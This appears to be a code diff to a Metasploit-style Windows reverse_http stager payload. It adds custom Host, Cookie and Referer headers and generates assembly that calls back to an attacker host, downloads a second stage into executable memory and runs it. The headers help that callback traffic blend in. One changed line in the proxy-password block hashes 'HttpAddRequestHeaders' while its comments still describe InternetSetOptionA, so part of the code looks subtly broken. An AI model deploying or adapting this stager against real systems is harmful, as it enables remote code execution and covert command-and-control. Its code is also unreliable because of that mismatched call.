@@ -36,7 +36,10 @@ def initialize(*args)
36
36
OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
37
37
OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
38
38
OptString . new ( 'PayloadProxyPass' , [ false , 'An optional proxy server password' ] ) ,
39
- OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] )
39
+ OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] ) ,
40
+ OptString . new ( 'HttpHeaderHost' , [ false , 'An optional value to use for the Host HTTP header' ] ) ,
41
+ OptString . new ( 'HttpHeaderCookie' , [ false , 'An optional value to use for the Cookie HTTP header' ] ) ,
42
+ OptString . new ( 'HttpHeaderReferer' , [ false , 'An optional value to use for the Referer HTTP header' ] )
40
43
] , self . class )
41
44
end
42
45
@@ -47,22 +50,23 @@ def generate(opts={})
47
50
ds = opts [ :datastore ] || datastore
48
51
conf = {
49
52
ssl : opts [ :ssl ] || false ,
50
- host : ds [ 'LHOST' ] ,
53
+ host : ds [ 'LHOST' ] || '127.127.127.127' ,
51
54
port : ds [ 'LPORT' ] ,
52
55
retry_count : ds [ 'StagerRetryCount' ] ,
53
- retry_wait : ds [ 'StagerRetryWait' ]
56
+ retry_wait : ds [ 'StagerRetryWait' ]
54
57
}
55
58
56
59
# Add extra options if we have enough space
57
- if self . available_space && required_space <= self . available_space
58
- conf [ :url ] = luri + generate_uri ( opts )
59
- conf [ :exitfunk ] = ds [ 'EXITFUNC' ]
60
- conf [ :ua ] = ds [ 'MeterpreterUserAgent' ]
61
- conf [ :proxy_host ] = ds [ 'PayloadProxyHost' ]
62
- conf [ :proxy_port ] = ds [ 'PayloadProxyPort' ]
63
- conf [ :proxy_user ] = ds [ 'PayloadProxyUser' ]
64
- conf [ :proxy_pass ] = ds [ 'PayloadProxyPass' ]
65
- conf [ :proxy_type ] = ds [ 'PayloadProxyType' ]
60
+ if self . available_space . nil? || required_space <= self . available_space
61
+ conf [ :url ] = luri + generate_uri ( opts )
62
+ conf [ :exitfunk ] = ds [ 'EXITFUNC' ]
63
+ conf [ :ua ] = ds [ 'MeterpreterUserAgent' ]
64
+ conf [ :proxy_host ] = ds [ 'PayloadProxyHost' ]
65
+ conf [ :proxy_port ] = ds [ 'PayloadProxyPort' ]
66
+ conf [ :proxy_user ] = ds [ 'PayloadProxyUser' ]
67
+ conf [ :proxy_pass ] = ds [ 'PayloadProxyPass' ]
68
+ conf [ :proxy_type ] = ds [ 'PayloadProxyType' ]
69
+ conf [ :custom_headers ] = get_custom_headers ( ds )
66
70
else
67
71
# Otherwise default to small URIs
68
72
conf [ :url ] = luri + generate_small_uri
@@ -71,6 +75,22 @@ def generate(opts={})
71
75
generate_reverse_http ( conf )
72
76
end
73
77
78
+ #
79
+ # Generate the custom headers string
80
+ #
81
+ def get_custom_headers ( ds )
82
+ headers = ""
83
+ headers << "Host: #{ ds [ 'HttpHeaderHost' ] } \r \n " if ds [ 'HttpHeaderHost' ]
84
+ headers << "Cookie: #{ ds [ 'HttpHeaderCookie' ] } \r \n " if ds [ 'HttpHeaderCookie' ]
85
+ headers << "Referer: #{ ds [ 'HttpHeaderReferer' ] } \r \n " if ds [ 'HttpHeaderReferer' ]
86
+
87
+ if headers . length > 0
88
+ headers
89
+ else
90
+ nil
91
+ end
92
+ end
93
+
74
94
#
75
95
# Generate and compile the stager
76
96
#
@@ -138,10 +158,23 @@ def required_space
138
158
# Proxy options?
139
159
space += 200
140
160
161
+ # Custom headers? Ugh, impossible to tell
162
+ space += 512
163
+
141
164
# The final estimated size
142
165
space
143
166
end
144
167
168
+ #
169
+ # Convert a string into a NULL-terminated ASCII byte array
170
+ #
171
+ def asm_generate_ascii_array ( str )
172
+ ( str . to_s + "\x00 " ) .
173
+ unpack ( "C*" ) .
174
+ map { |c | "0x%.2x" % c } .
175
+ join ( "," )
176
+ end
177
+
145
178
#
146
179
# Generate an assembly stub with the configured feature set and options.
147
180
#
@@ -155,6 +188,7 @@ def required_space
155
188
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
156
189
# @option opts [String] :proxy_user The optional proxy server username
157
190
# @option opts [String] :proxy_pass The optional proxy server password
191
+ # @option opts [String] :custom_headers The optional collection of custom headers for the payload.
158
192
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
159
193
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
160
194
#
@@ -181,6 +215,8 @@ def asm_reverse_http(opts={})
181
215
proxy_user = opts [ :proxy_user ] . to_s . length == 0 ? nil : opts [ :proxy_user ]
182
216
proxy_pass = opts [ :proxy_pass ] . to_s . length == 0 ? nil : opts [ :proxy_pass ]
183
217
218
+ custom_headers = opts [ :custom_headers ] . to_s . length == 0 ? nil : asm_generate_ascii_array ( opts [ :custom_headers ] )
219
+
184
220
http_open_flags = 0
185
221
secure_flags = 0
186
222
@@ -222,10 +258,10 @@ def asm_reverse_http(opts={})
222
258
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
223
259
push 0x696e6977 ; ...
224
260
push esp ; Push a pointer to the "wininet" string on the stack.
225
- push 0x0726774C ; hash( " kernel32.dll", " LoadLibraryA" )
261
+ push #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' LoadLibraryA' ) }
226
262
call ebp ; LoadLibraryA( "wininet" )
227
263
xor ebx, ebx ; Set ebx to NULL to use in future arguments
228
- ^
264
+ ^
229
265
230
266
if proxy_enabled
231
267
asm << %Q^
@@ -238,7 +274,7 @@ def asm_reverse_http(opts={})
238
274
; LPCTSTR lpszProxyName (via call)
239
275
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
240
276
push ebx ; LPCTSTR lpszAgent (NULL)
241
- push 0xA779563A ; hash( " wininet.dll", " InternetOpenA" )
277
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetOpenA' ) }
242
278
call ebp
243
279
^
244
280
else
@@ -249,7 +285,7 @@ def asm_reverse_http(opts={})
249
285
push ebx ; LPCTSTR lpszProxyName (NULL)
250
286
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
251
287
push ebx ; LPCTSTR lpszAgent (NULL)
252
- push 0xA779563A ; hash( " wininet.dll", " InternetOpenA" )
288
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetOpenA' ) }
253
289
call ebp
254
290
^
255
291
end
@@ -267,10 +303,10 @@ def asm_reverse_http(opts={})
267
303
db "#{ opts [ :url ] } ", 0x00
268
304
got_server_host:
269
305
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
270
- push 0xC69F8957 ; hash( " wininet.dll", " InternetConnectA" )
306
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetConnectA' ) }
271
307
call ebp
272
308
mov esi, eax ; Store hConnection in esi
273
- ^
309
+ ^
274
310
275
311
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
276
312
# doesn't set the Proxy-Authorization header on the CONNECT request.
@@ -286,7 +322,7 @@ def asm_reverse_http(opts={})
286
322
; LPVOID lpBuffer (username from previous call)
287
323
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
288
324
push esi ; hConnection
289
- push 0x869E4675 ; hash( " wininet.dll", " InternetSetOptionA" )
325
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetSetOptionA' ) }
290
326
call ebp
291
327
^
292
328
end
@@ -302,7 +338,7 @@ def asm_reverse_http(opts={})
302
338
; LPVOID lpBuffer (password from previous call)
303
339
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
304
340
push esi ; hConnection
305
- push 0x869E4675 ; hash( " wininet.dll", "InternetSetOptionA" )
341
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , 'HttpAddRequestHeaders' ) }
306
342
call ebp
307
343
^
308
344
end
@@ -317,7 +353,7 @@ def asm_reverse_http(opts={})
317
353
push edi ; server URI
318
354
push ebx ; method
319
355
push esi ; hConnection
320
- push 0x3B2E55EB ; hash( " wininet.dll", " HttpOpenRequestA" )
356
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' HttpOpenRequestA' ) }
321
357
call ebp
322
358
xchg esi, eax ; save hHttpRequest in esi
323
359
^
@@ -334,7 +370,6 @@ def asm_reverse_http(opts={})
334
370
send_request:
335
371
^
336
372
337
-
338
373
if opts [ :ssl ]
339
374
asm << %Q^
340
375
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -345,7 +380,7 @@ def asm_reverse_http(opts={})
345
380
push eax ; &dwFlags
346
381
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
347
382
push esi ; hHttpRequest
348
- push 0x869E4675 ; hash( " wininet.dll", " InternetSetOptionA" )
383
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetSetOptionA' ) }
349
384
call ebp
350
385
^
351
386
end
@@ -354,17 +389,32 @@ def asm_reverse_http(opts={})
354
389
httpsendrequest:
355
390
push ebx ; lpOptional length (0)
356
391
push ebx ; lpOptional (NULL)
357
- push ebx ; dwHeadersLength (0)
358
- push ebx ; lpszHeaders (NULL)
392
+ ^
393
+
394
+ if custom_headers
395
+ asm << %Q^
396
+ push -1 ; dwHeadersLength (assume NULL terminated)
397
+ call get_req_headers ; lpszHeaders (pointer to the custom headers)
398
+ db #{ custom_headers }
399
+ get_req_headers:
400
+ ^
401
+ else
402
+ asm << %Q^
403
+ push ebx ; HeadersLength (0)
404
+ push ebx ; Headers (NULL)
405
+ ^
406
+ end
407
+
408
+ asm << %Q^
359
409
push esi ; hHttpRequest
360
- push 0x7B18062D ; hash( " wininet.dll", " HttpSendRequestA" )
410
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' HttpSendRequestA' ) }
361
411
call ebp
362
412
test eax,eax
363
413
jnz allocate_memory
364
414
365
415
set_wait:
366
416
push #{ retry_wait } ; dwMilliseconds
367
- push 0xE035F044 ; hash( " kernel32.dll", " Sleep" )
417
+ push #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' Sleep' ) }
368
418
call ebp ; Sleep( dwMilliseconds );
369
419
^
370
420
@@ -404,7 +454,7 @@ def asm_reverse_http(opts={})
404
454
push 0x1000 ; MEM_COMMIT
405
455
push 0x00400000 ; Stage allocation (4Mb ought to do us)
406
456
push ebx ; NULL as we dont care where the allocation is
407
- push 0xE553A458 ; hash( " kernel32.dll", " VirtualAlloc" )
457
+ push #{ Rex :: Text . block_api_hash ( ' kernel32.dll' , ' VirtualAlloc' ) }
408
458
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
409
459
410
460
download_prep:
@@ -418,7 +468,7 @@ def asm_reverse_http(opts={})
418
468
push 8192 ; read length
419
469
push ebx ; buffer
420
470
push esi ; hRequest
421
- push 0xE2899612 ; hash( " wininet.dll", " InternetReadFile" )
471
+ push #{ Rex :: Text . block_api_hash ( ' wininet.dll' , ' InternetReadFile' ) }
422
472
call ebp
423
473
424
474
test eax,eax ; download failed? (optional?)
0 commit comments